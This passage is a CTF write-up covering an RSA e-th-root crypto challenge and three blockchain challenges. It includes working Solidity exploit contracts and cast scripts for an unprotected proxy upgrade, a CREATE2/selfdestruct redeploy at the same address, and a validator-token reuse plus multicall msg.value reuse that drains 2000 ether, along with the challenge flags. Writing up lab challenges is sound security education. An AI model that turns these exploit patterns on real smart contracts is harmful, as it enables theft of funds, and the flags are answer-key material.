decrypting can be done in three parts. First, we can decrypt the plaintext modulo `q` and `r`, as there will be a unique plaintext for both of them. Now, for `p`, we can first find one possible root by decrypting with `d0 = pow(e, -1, k)`. Doing crt on the three plaintexts mod `p, q, r` will yield a valid `m` where `m ** e (mod n)` is equal the ciphertext. But this is not the only solution, and in fact there should be exactly `e` solutions. To find the other solutions, we can find a generator of the subgroup size `e` in `p`, and multiply it to `m`. This generator won't change the value of `m**e mod p`, but it will yield another possible valid plaintext. This attack is fairly standard, and I just asked ChatGPT to implement it, and we get the flag. ```python! # find_itsec_with_tqdm.py # Enumerate all m with m^e ≡ c (mod n); print those whose minimal big-endian bytes start with b"ITSEC{" # Uses multiprocessing + tqdm to show progress. import multiprocessing as mp from math import gcd from random import randrange from tqdm.auto import tqdm # pip install tqdm # ===== Your instance ===== n = 60419902565764548844188543053799539736520575597932824532389761522643875892236763090936952699801022241009608452637384156029134178007050986959672545796812659544119079405754458335003514178145056915824767178945504412120793435627631704573586996782481630193258573823429410349772037605005907442534016230552638558203 e = 268435459 c = 42077426242195692288259542826753875723706187537047968345077398360129407326191750134323576198720474598541102760396899177709744067388778715704602945081394301040443564303932191107115332093409897959823980390797003657503917523358293660420758330312005347193969217945630493348089893460949825739139342103857726182647 # Factors (verified) p1 = 3197656400540271876542568319421192210490384740990543931526314714177621097079511045918579371468320101727 p2 = 4230817059039673574688898677053507572161261199083369921571579034080470278052948429785264270802981855581 p3 = 4466054086694205224060229493741618510822562767362299820045196957222381007815796096595501338871401718569 # ========================== PREFIX = b"ITSEC{" STOP_ON_FIRST = True # stop after first hit; set False to collect all hits CHUNK = 200_000 # iterations per worker task (tune for your CPU/RAM) PROCESSES = max(1, mp.cpu_count() - 1) def inv(a, m): return pow(a, -1, m) def crt2(a1, m1, a2, m2): k = ((a2 - a1) % m2) * inv(m1 % m2, m2) % m2 return (a1 + k * m1) % (m1 * m2), m1 * m2 def setup_params(): # identify p with e | (p-1) P = [p1, p2, p3] p_e = next(p for p in P if (p - 1) % e == 0) q, r = [p for p in P if p != p_e] # unique decryption modulo q and r dq = inv(e, q - 1); dr = inv(e, r - 1) m_q = pow(c, dq, q); m_r = pow(c, dr, r) m0, _ = crt2(m_q, q, m_r, r) # m0 mod (qr) qr = q * r # p-side coset params u = qr % p_e A = (m0 * inv(u, p_e)) % p_e Cprime = (c % p_e) * inv(pow(u, e, p_e), p_e) % p_e k_mod = (p_e - 1) // e d0 = inv(e % k_mod, k_mod) z = pow(Cprime, d0, p_e) # one e-th root # generator of the order-e subgroup while True: g = randrange(2, p_e - 1) omega = pow(g, (p_e - 1) // e, p_e) if omega != 1: break return p_e, q, r, m0, qr, A, z, omega def worker(args): p_e, m0, qr, A, z, omega, k_start, k_len = args # alpha_k = z * omega^k mod p alpha = (z * pow(omega, k_start, p_e)) % p_e hits = [] for _ in range(k_len): t = (alpha - A) % p_e m = (m0 + t * qr) % n mb = m.to_bytes((m.bit_length() + 7)//8, "big") if mb.startswith(PREFIX): # confirm for safety if pow(m, e, n) == c: hits.append(mb) if STOP_ON_FIRST: break alpha = (alpha * omega) % p_e return (k_len, hits) def main(): p_e, q, r, m0, qr, A, z, omega = setup_params() total = e # total k in [0, e-1] # create chunk tasks lazily def task_iter(): k = 0 while k < e: k_len = min(CHUNK, e - k) yield (p_e, m0, qr, A, z, omega, k, k_len) k += k_len with mp.Pool(PROCESSES) as pool, tqdm(total=total, unit="k", unit_scale=True, smoothing=0.1, desc="Scanning k") as pbar: for processed, hits in pool.imap_unordered(worker, task_iter(), chunksize=1): pbar.update(processed) for mb in hits: print("\n[HIT] bytes:", mb) try: print("[HIT] utf-8:", mb.decode()) except: pass if STOP_ON_FIRST: pool.terminate() pbar.close() return # if we exit loop normally: print("\nDone. No matches found for prefix", PREFIX) if __name__ == "__main__": main() # ITSEC{SHUMOW's_algorithm_does_not_need_to_factor_N_as_long_as_only_one_of_the_primes_minus_1_is_divisible_by_e} ``` Interestingly, there appears to be a paper by Shumow (which is the intended solve), where you don't need to factor `n` at all, which in retrospect could also probably be skipped in this solver, but with slightly different calculations. ## Blockchain/Hope This challenge revolves around a UUPS upgradable contract, where Hope is UUPSUpgradable and Hope Beacon is the ERC1967Proxy. We are even given the False Hope contract, where the goal is upgrading Hope to False Hope (isHopeAvailable = true). ```solidity! // SPDX-License-Identifier: Kiinzu pragma solidity 0.8.28; import { Hope } from "./Hope.sol"; import { HopeBeacon } from "./HopeBeacon.sol"; contract Setup{ Hope public immutable hope; HopeBeacon public immutable HB; constructor() payable { hope = new Hope(); bytes memory initializationCall = abi.encodeCall(hope.initialize, ()); HB = new HopeBeacon(address(hope), initializationCall); } function isSolved() external returns(bool){ bytes memory testIfSolve = abi.encodeCall(hope.isHopeAvailable, ()); (bool success, bytes memory rawData) = address(HB).call(testIfSolve); require(success); return abi.decode(rawData, (bool)); } } ``` To do the upgrade, we can just call upgradeToAndCall from the proxy, and the challenge is solved. ```solidity! // SPDX-License-Identifier: MIT pragma solidity ^0.8.28; import {FalseHope} from "./FalseHope.sol"; import {Setup} from "./Setup.sol"; import {HopeBeacon} from "./HopeBeacon.sol"; contract Exploit { function solve(address setupAddress) external { // 1. Deploy FalseHope FalseHope falseHope = new FalseHope(); // 2. Get the proxy address from Setup HopeBeacon proxy = Setup(setupAddress).HB(); // 3. Prepare initialization data bytes memory initData; // 4. Upgrade the proxy to FalseHope and initialize it (bool success, ) = address(proxy).call( abi.encodeWithSignature( "upgradeToAndCall(address,bytes)", address(falseHope), initData ) ); require(success, "Upgrade failed"); // 5. Verify solution require(Setup(setupAddress).isSolved(), "Not solved"); // ITSEC{N0w_1_c4N_tak30v3r_th3_c0ntr0l} } } # ITSEC{N0w_1_c4N_tak30v3r_th3_c0ntr0l} ``` ## Blockchain/Shanghai This challenge revolves around changing a contract’s hash which is already deployed at a certain address. ```solidity! // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.23; contract Setup { address public yourContract; bytes32 public codeHash; bool public isSolved = false; constructor() payable {} function stage1(address _yourcontract) public { require(_yourcontract != address(0), "Invalid contract address"); uint256 size; assembly { size := extcodesize(_yourcontract) } require(size > 0, "Contract not deployed"); yourContract = _yourcontract; codeHash = _yourcontract.codehash; } function stage2() public { require(yourContract != address(0), "Your contract not set"); require(codeHash != bytes32(0), "Code hash not set"); require(yourContract.codehash != codeHash, "Code hasn't been upgraded"); isSolved = true; } } ``` There’s a really nice video on Youtube explaining the exact same vulnerability: https://www.youtube.com/watch?v=zYaHtUJN-MI Basically, we will deploy a few contracts: - DeployerDeployer: deploys Deployer with some fixed salt - Deployer: used to deploy Proposal and Attack - Proposal: original contract submitted to stage 1 - Attack: contract expected to replace Proposal at the same address We can achieve this by doing: 1. Deploy DeployerDeployer 2. Deploy Deployer from DeployerDeployer 3. Deploy Proposal from Deployer 4. Call stage1() in setup with Proposal’s address 5. Destroy Proposal 6. Destroy Deployer 7. Redeploy Deployer from DeployerDeployer 8. Deploy Attack from Deployer (will deploy at same address, salt reset) Note that we need a DeployerDeployer so that the Deployer's salt when deploying Proposal/Attacker will be the same, and this will result in them being deployed in the same address. ```solidity! // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.23; contract Exploit { event Log(address addr); function deploy() external returns(address) { bytes32 salt = keccak256(abi.encode(uint(120115))); address addr = address(new Deployer{salt: salt}()); emit Log(addr); return addr; } } contract Deployer { event Log(address addr); function deployProposal() external returns(address) { address addr = address(new Proposal()); emit Log(addr); return addr; } function deployAttack() external returns(address) { address addr = address(new Attack()); emit Log(addr); return addr; } function kill() external { selfdestruct(payable(address(0))); } } contract Proposal { function hello() external pure returns(string memory) { return "Hello world"; } function kill() external { selfdestruct(payable(address(0))); } } contract Attack { function hello() external pure returns(string memory) { return "Halllooooo sekaii"; } } ``` ```bash! #!/bin/bash . ./var.sh # Step 1: Use pre-deployed Exploit contract EXPLOIT_ADDR=0x7Aa9FFc4f8d828ee689056A0cb0FeD1601c463C3 echo "[+] Exploit deployed at: $EXPLOIT_ADDR" # Step 2: Predict Deployer address via cast call DEPLOYER_ADDR=$(cast call $EXPLOIT_ADDR "deploy()(address)" --rpc-url $RPC_URL) echo "[>] Predicted Deployer address: $DEPLOYER_ADDR" cast send $EXPLOIT_ADDR "deploy()(address)" --rpc-url $RPC_URL --private-key $PK echo "[+] Deployer deployed" # Step 3: Predict Proposal address PROPOSAL_ADDR=$(cast call $DEPLOYER_ADDR "deployProposal()(address)" --rpc-url $RPC_URL) echo "[>] Predicted Proposal address: $PROPOSAL_ADDR" cast send $DEPLOYER_ADDR "deployProposal()(address)" --rpc-url $RPC_URL --private-key $PK echo "[+] Proposal deployed" # Step 4: Call stage1 with Proposal address cast send $SETUP_ADDR "stage1(address)" $PROPOSAL_ADDR --rpc-url $RPC_URL --private-key $PK echo "[*] stage1() called" # Step 5: Kill Proposal cast send $PROPOSAL_ADDR "kill()" --rpc-url $RPC_URL --private-key $PK echo "[*] Proposal destroyed" # Step 6: Kill Deployer cast send $DEPLOYER_ADDR "kill()" --rpc-url $RPC_URL --private-key $PK echo "[*] Deployer destroyed" # Step 7: Re-deploy Deployer (should be same address) DEPLOYER_ADDR2=$(cast call $EXPLOIT_ADDR "deploy()(address)" --rpc-url $RPC_URL) echo "[>] Re-predicted Deployer address: $DEPLOYER_ADDR2" cast send $EXPLOIT_ADDR "deploy()(address)" --rpc-url $RPC_URL --private-key $PK echo "[+] Re-Deployer deployed" # Step 8: Predict and deploy Attack contract ATTACK_ADDR=$(cast call $DEPLOYER_ADDR2 "deployAttack()(address)" --rpc-url $RPC_URL) echo "[>] Predicted Attack address: $ATTACK_ADDR" cast send $DEPLOYER_ADDR2 "deployAttack()(address)" --rpc-url $RPC_URL --private-key $PK echo "[+] Attack deployed" # Step 9: Call stage2 cast call $SETUP_ADDR "stage2()" --rpc-url $RPC_URL cast send $SETUP_ADDR "stage2()" --rpc-url $RPC_URL --private-key $PK echo "[✅] stage2() called" # Step 10: Verify solve IS_SOLVED=$(cast call $SETUP_ADDR "isSolved()(bool)" --rpc-url $RPC_URL) echo "[✔] isSolved: $IS_SOLVED" #ITSEC{i_thought_once_a_smart_contract_is_deployed_it_cannot_be_changed} ``` ## Blockchain/Inter Planetary Wealth Distribution System This challenge is pretty complicated, and has a few different points and vulnerabilities that we need to attack. ```solidity! // SPDX-License-Identifier: INJU pragma solidity ^0.8.28; import "./IPWD.sol"; import "./IPWDAdministrator.sol"; import "./Validator.sol"; import "./ValidatorInterface.sol"; contract Setup{ Validator public validator; ValidatorInterface public vi; IPWD public ipwd; IPWDAdministrator public ipwdAdmin; address public player; constructor(bytes32[] memory _referalCode) payable { vi = new ValidatorInterface(); validator = vi.validator(); ipwd = new IPWD(false); ipwdAdmin = new IPWDAdministrator{value: 2000 ether}(_referalCode, address(ipwd), address(vi)); ipwd.setAdministrator(address(ipwdAdmin)); } function setPlayer() external{ require(!ipwd.isSmartContract(msg.sender), "EOA Only"); player = msg.sender; } function isSolved() public view returns(bool){ return ( address(ipwdAdmin).balance == 0 && address(player).balance >= 2001 ether && ipwd.allowAllContracts() == false && ipwd.balanceOf(address(ipwdAdmin)) >= 2000 ether ); } } ``` The goal basically is just to drain the ipwd admin of their money, and take it all for us. However, before even touching the IPWD, we need to look at the validator, as most operations on IPWD require passing the validations. ```solidity! // SPDX-License-Identifier: Unlicense pragma solidity ^0.8.28; import "./Validator.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract ValidatorInterface is Ownable{ Validator public validator; bool public claimToken = false; mapping(address => bool) public validated; mapping(address => bool) public isIPWDAllow; mapping(address => uint256) public validatedCount; constructor() Ownable(msg.sender){ validator = new Validator(); } function claimValidatorToken() public { require(!claimToken, "Claimed"); claimToken = true; validator.transfer(msg.sender, 1); } function giveValidation(address _toValidate) external { require(_toValidate != msg.sender, "VALIDATOR: Cannot self-validate"); require(validator.balanceOf(msg.sender) == 1, "VALIDATOR: Require a Token to Vote!"); require(!validated[msg.sender], "VALIDATOR: already submit for Validation!"); validated[msg.sender] = true; if (_toValidate == address(0)){ validatedCount[msg.sender] = 0; }else{ validatedCount[_toValidate]+= 1; } } function clearOfValidation() external { require(_getValidationCount(msg.sender) >= 10, "VALIDATOR: Required Point of at least 10"); isIPWDAllow[msg.sender] = true; } function isAllowToRegisterAtIPWD(address _addr) public view returns(bool){ return _isAllowToRegisterAtIPWD(_addr); } function getValidationCount(address _addr) external view returns(uint256){ return _getValidationCount(_addr); } function _isAllowToRegisterAtIPWD(address _addr) internal view returns(bool){ return isIPWDAllow[_addr]; } function _getValidationCount(address _addr) internal view returns(uint256){ return validatedCount[_addr]; } } ``` Basically, we can only claim 1 token, and we need 10 votes for an address to be allowed. The vuln here is simple: when checking for the token, the validator doesn’t burn it, so we can reuse the same token to artificially inflate votes, and control it at our will. Most functions in the following Exploit.sol are made to do this artificial inflation. ```solidity! pragma solidity ^0.8.28; import "./ValidatorInterface.sol"; import "./Validator.sol"; import "./Setup.sol"; contract ValidationHelper { ValidatorInterface public validatorInterface; Validator public validator; address public target; // Your address address public owner; constructor(address _validatorInterface, address _target) { validatorInterface = ValidatorInterface(_validatorInterface); validator = validatorInterface.validator(); target = _target; owner = msg.sender; } // Called after receiving the validator token function doValidation() external { // Validate the target address validatorInterface.giveValidation(target); // Send the token back to the target (or next address) validator.transfer(owner, 1); } } contract Exploit { ValidatorInterface public validatorInterface; Setup public setup; Validator public validator; address public player; IPWDAdministrator public ipwdAdmin; constructor(Setup _setup) { setup = _setup; validatorInterface = _setup.vi(); validator = validatorInterface.validator(); ipwdAdmin = _setup.ipwdAdmin(); player = msg.sender; } function claimValidatorToken() external { // Claim the validator token validatorInterface.claimValidatorToken(); } function validateFromHelper() external { // Deploy a new helper contract (each has a new address) ValidationHelper helper = new ValidationHelper(address(validatorInterface), player); // Send the validator token to the helper validator.transfer(address(helper), 1); // Call doValidation() to increment validation count helper.doValidation(); } function attack_validator() external { // Step 2: Deploy 10 helper contracts (or reuse one with new addresses) address target = msg.sender; for (uint i = 0; i < 10; i++) { // Deploy a new helper contract (each has a new address) ValidationHelper helper = new ValidationHelper(address(validatorInterface), target); // Send the validator token to the helper validator.transfer(address(helper), 1); // Call doValidation() to increment validation count helper.doValidation(); } } function parse_multicall_abi(bytes32 referral, uint64 len, address target) external pure returns(bytes[] memory) { bytes[] memory data = new bytes[](len); data[0] = abi.encodeWithSignature("register(bytes32)", referral); for (uint i = 1; i <= len-1; i++) { data[i] = abi.encodeWithSignature("mintToken(address)", target); } return data; } function update_caller_status() external pure returns(bytes[] memory) { bytes[] memory data = new bytes[](1); data[0] = abi.encodeWithSignature("ipwd.updateAllowContractStatus(bool)", true); return data; } } ``` Then, we can proceed with stealing tokens from the IPWD service. The IPWDAdministrator has a lot of challenges we must tackle. ```solidity! // SPDX-License-Identifier: INJU pragma solidity ^0.8.28; import "@openzeppelin/contracts/access/Ownable.sol"; import {ValidatorInterface} from "./ValidatorInterface.sol"; import {Multicall} from "./Multicall.sol"; import {IPWD} from "./IPWD.sol"; contract IPWDAdministrator is Multicall, Ownable{ IPWD public ipwd; ValidatorInterface public vi; bytes32[] private referralCode; uint256 public referralCounts; uint256 public FEE_TO_REGISTER; mapping(address => bool) public referralRedeemer; mapping(address => uint) public referralCounter; mapping(bytes32 => address) public referralOwner; mapping(address => uint256) public lockPeriod; mapping(address => bool) public onLockPeriod; mapping(address => bool) public member; error notListed(address toCheck); error notReferralOwner(address toCheck); error notMemberPurchaseAttempt(address toCheck); error allAssetisLocked(address toCheck); constructor( bytes32[] memory _referral, address _ipwdAddress, address _validatorInterface ) Ownable(msg.sender) payable { vi = ValidatorInterface(_validatorInterface); ipwd = IPWD(_ipwdAddress); referralCode = _referral; referralCounts = 0; FEE_TO_REGISTER = 2 ether; } function claimReferral() external returns(bytes32) { require(vi.isAllowToRegisterAtIPWD(msg.sender) == true, "IPWD: Clearance is not premitted"); require(!referralRedeemer[msg.sender], "IPWD: Already claimed referral code"); require(tx.origin == msg.sender, "IPWD: Member of Bank is restricted to EOA"); uint256 referralToReturn = referralCounts; referralRedeemer[msg.sender] = true; referralCounter[msg.sender] = referralToReturn; referralOwner[referralCode[referralToReturn]] = msg.sender; referralCounts += 1; return referralCode[referralToReturn]; } function register(bytes32 _referral) external payable{ require(vi.isAllowToRegisterAtIPWD(msg.sender) == true, "IPWD: Clearance is not premitted"); require(referralValidator(_referral)); require(msg.value == FEE_TO_REGISTER, "IPWD: Please pay the Administration Fee."); member[msg.sender] = true; } function referAFriend(bytes32 _referral, address _recipient) external payable onlyMember{ require(msg.value == FEE_TO_REGISTER, "IPWD: Please pay the Administration Fee."); require(referralOwner[_referral] == address(0x0), "IPWD: Referral is used."); member[_recipient] = true; } function mintToken(address _to) external payable onlyMember{ if(!isMember(_to)){ revert notMemberPurchaseAttempt(_to); } ipwd.mint(_to, msg.value); } function sellToken(uint256 _amount) external onlyMember{ require(ipwd.getBalance(msg.sender) >= _amount, "IPWD: Not enough tokens"); require(_amount <= 505 ether, "IPWD: Limit per sell attempt is 500 Ether"); if(isLocked(msg.sender)){ revert allAssetisLocked(msg.sender); } lockPeriod[msg.sender] += 365 days; bool success = ipwd.transferFrom(msg.sender, address(this), _amount); require(success, "IPWD: Transfer failed"); (bool sent, ) = msg.sender.call{value: _amount}(""); require(sent); } // internal functions function referralValidator(bytes32 _referral) internal view returns(bool){ if(!referralRedeemer[msg.sender]){ revert notListed(msg.sender); } if(msg.sender != referralOwner[_referral]){ revert notReferralOwner(msg.sender); } bytes32 senderReferral = referralCode[referralCounter[msg.sender]]; return _referral == senderReferral ? true : false; } function currentHoldings() internal view returns(bool){ uint256 currentBalance = ipwd.getBalance(msg.sender); return currentBalance <= 500 ether; } function isLocked(address _addr) internal returns(bool){ if(lockPeriod[_addr] == 0){ onLockPeriod[_addr] = false; return onLockPeriod[_addr]; }else{ onLockPeriod[_addr] = true; return onLockPeriod[_addr]; } } // getter functions function isMember(address _addr) public view returns(bool){ return member[_addr]; } modifier onlyMember{ require(member[msg.sender], "IPWD: Only IPWD member access"); _; } } ``` First, before actually registering, we must claim a referral, then pay 2 ether to register. After that, we can pay ether to mint IPWD tokens, which can then be sold ONCE, at most 505 tokens. ```solidity! // SPDX-License-Identifier: INJU pragma solidity ^0.8.28; contract Multicall { function multicall(bytes[] calldata data) external payable returns (bytes[] memory results) { results = new bytes[](data.length); for (uint256 i = 0; i < data.length; i++) { results[i] = doDelegateCall(data[i]); } return results; } function doDelegateCall(bytes memory data) private returns (bytes memory) { (bool success, bytes memory res) = address(this).delegatecall(data); if (!success) { revert(string(res)); } return res; } } ``` The vulnerability comes from Multicall.sol, where we can do multiple delegatecalls to the IPWDAdministrator, and this is a huge vulnerability, as msg.value is persisted during all those calls, so we can use the same 2 ether to register and mint as many tokens as we want. However, note that we can only sell once per account, and selling is capped at 505 ether, whereas we need 2000 ether. Thus, I eventually used 4 accounts to do this (I ran the same script 4 times because me noob, first with the given wallet, then with new accounts). ```solidity! #attack_account.sh . ./var.sh # ==== NEW PLAYER PART ==== wallet_output=$(cast wallet new) echo "walletoutput: $wallet_output" # Use `grep` to find the line containing "Address:" # Use `awk` to split the line by whitespace and get the second field new_address=$(echo "$wallet_output" | grep "Address:" | awk '{print $2}') # Repeat for the Private Key private_key=$(echo "$wallet_output" | grep "Private key:" | awk '{print $3}') echo "Wallet created" echo "Addr: $new_address" echo "PK: $private_key" echo "" cast send $new_address --private-key $PK --rpc-url $RPC_URL --value 5ether # ==== NEW PLAYER END ==== # private_key=$PK # new_address=$WalletADDR # ==== OLD PLAYER END ==== echo "=== Running Exploit ===" echo "RPC: $RPC_URL" echo "Player: $WalletADDR" echo "Exploit Address: $EXPLOIT_ADDR" echo "" # echo "Attacking validator..." cast send -r $RPC_URL --private-key $private_key $EXPLOIT_ADDR "attack_validator()" # Fetch contract addresses from Setup echo "=== Fetching Contract Addresses ===" VALIDATOR_INTERFACE_ADDR=$(cast call $SetupADDR "vi()(address)" --rpc-url $RPC_URL) IPWD_ADDR=$(cast call $SetupADDR "ipwd()(address)" --rpc-url $RPC_URL) IPWD_ADMIN_ADDR=$(cast call $SetupADDR "ipwdAdmin()(address)" --rpc-url $RPC_URL) VALIDATOR_ADDR=$(cast call $VALIDATOR_INTERFACE_ADDR "validator()(address)" --rpc-url $RPC_URL) echo "" echo "Validating user address" cast send $VALIDATOR_INTERFACE_ADDR \ "clearOfValidation()" \ --private-key $private_key \ --rpc-url $RPC_URL # Call and decode the bytes32 return value REFERRAL_CODE=$(cast call $IPWD_ADMIN_ADDR "claimReferral()(bytes32)" --rpc-url $RPC_URL --private-key $private_key) # Send the transaction (if state-changing) cast send $IPWD_ADMIN_ADDR \ "claimReferral()" \ --private-key $private_key \ --rpc-url $RPC_URL echo "Referral Code: $REFERRAL_CODE" echo "" echo "Attacking multicall" RESULT=$(cast call $EXPLOIT_ADDR "parse_multicall_abi(bytes32,uint64,address)(bytes[])" $REFERRAL_CODE 253 $new_address --rpc-url $RPC_URL) echo "Starting multicall" cast send --private-key $private_key --value 2ether $IPWD_ADMIN_ADDR "multicall(bytes[])" "$RESULT" --rpc-url $RPC_URL # set allowance echo "Success multicall" echo "Sending allowance" cast send --private-key $private_key $IPWD_ADDR "approve(address,uint256)" "$IPWD_ADMIN_ADDR" 2000ether --rpc-url $RPC_URL echo "Getting paid" cast send --private-key $private_key $IPWD_ADMIN_ADDR "sellToken(uint256)" 502ether --rpc-url $RPC_URL # # send back to user echo "Addr: $new_address" echo "PK: $private_key" echo "" echo "Send back to motherlode" cast send $WalletADDR --private-key $private_key --rpc-url $RPC_URL --value 504ether ``` However, that’s not all. Apparently, the IPWDAdmin cannot pay us ether until we allow it to use transferFrom (with approving allowances), but the IWPD doesn’t allow contracts to receive allowance by default. ```solidity! // SPDX-License-Identifier: INJU pragma solidity ^0.8.28; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./IPWDAdministrator.sol"; contract IPWD is ERC20, Ownable{ IPWDAdministrator public IPWDAdmin; address public Administrator; bool public allowAllContracts; mapping(address => bool) public whitelistedAddress; mapping(address => bool) public blacklistedAddress; error exceedMaximumWithdrawal(address holder); constructor( bool _allowContracts ) ERC20("IPWD Token", "IPWD") Ownable(msg.sender) { allowAllContracts = _allowContracts; } function transfer(address recipient, uint256 amount) public override onContractDetected(recipient) returns (bool) { return super.transfer(recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) public override onContractDetected(recipient) returns (bool) { return super.transferFrom(sender, recipient, amount); } function approve(address spender, uint256 amount) public override onContractDetected(spender) returns (bool) { return super.approve(spender, amount); } function mint( address _to, uint256 _amount ) external onContractDetected(_to) onlyAdministrator{ _mint(_to, _amount); } // Owner Only Function function setAdministrator(address _addr) external onlyOwner{ Administrator = _addr; } // Checker function isSmartContract(address _addr) public view returns (bool) { uint32 size; assembly { size := extcodesize(_addr) } return (size > 0); } function addWhiteList(address _addr) external onlyOwner { whitelistedAddress[_addr] = true; } function addBlackList(address _addr) external onlyOwner { blacklistedAddress[_addr] = true; } function removeWhiteList(address _addr) external onlyOwner{ whitelistedAddress[_addr] = false; } function removeBlackList(address _addr) external onlyOwner{ blacklistedAddress[_addr] = false; } function updateAllowContractStatus(bool _status) external { assembly { let ptr := mload(0x40) mstore(ptr, shl(224, 0x8da5cb5b)) if iszero(staticcall(gas(), address(), ptr, 4, ptr, 32)) { revert(0, 0) } let storedOwner := mload(ptr) if iszero(iszero(eq(caller(), storedOwner))){ mstore(0x00, 0x495057443a204e6f74204f776e657200000000000000000000000000000000) revert(0x00, 16) } } allowAllContracts = _status; } // Getter function getBalance(address _addr) external view returns(uint256){ return balanceOf(_addr); } function getAddressStatus(address _addr) external view returns(bool, bool){ return (whitelistedAddress[_addr], blacklistedAddress[_addr]); } // Modifier modifier onlyAdministrator { require(msg.sender == Administrator, "Administrator-level required"); _; } modifier onContractDetected(address _addr){ if(_addr != Administrator){ if(isSmartContract(_addr)){ if(!allowAllContracts){ require(whitelistedAddress[_addr], "Only Whitelisted is allowed!"); } if(allowAllContracts){ require(!blacklistedAddress[_addr], "Blacklisted address is not allowed!"); } } } _; } } ``` The function updateAllowAllContracts is supposed to check whether the caller is owner, but the check if iszero(iszero(eq(caller(), storedOwner))) actually checks that if the caller is owner, then the transaction is reverted. So we can freely call this, and approve allowances for the IPWDAdministrator. ```solidity! #setup.sh . ./var.sh echo "Claiming validator token" cast send -r $RPC_URL --private-key $PK $EXPLOIT_ADDR "claimValidatorToken()" echo "Done" IPWD_ADDR=$(cast call $SetupADDR "ipwd()(address)" --rpc-url $RPC_URL) cast send --private-key $PK $IPWD_ADDR "updateAllowContractStatus(bool)" "true" --rpc-url $RPC_URL ``` ```solidity! #win.sh . ./var.sh IPWD_ADDR=$(cast call $SetupADDR "ipwd()(address)" --rpc-url $RPC_URL) cast send --private-key $PK $IPWD_ADDR "updateAllowContractStatus(bool)" "false" --rpc-url $RPC_URL cast send --private-key $PK $SetupADDR "setPlayer()" --rpc-url $RPC_URL #ITSEC{pairing_payable_with_unwatched_delegatecall_is_a_bad_idea_tbh} ```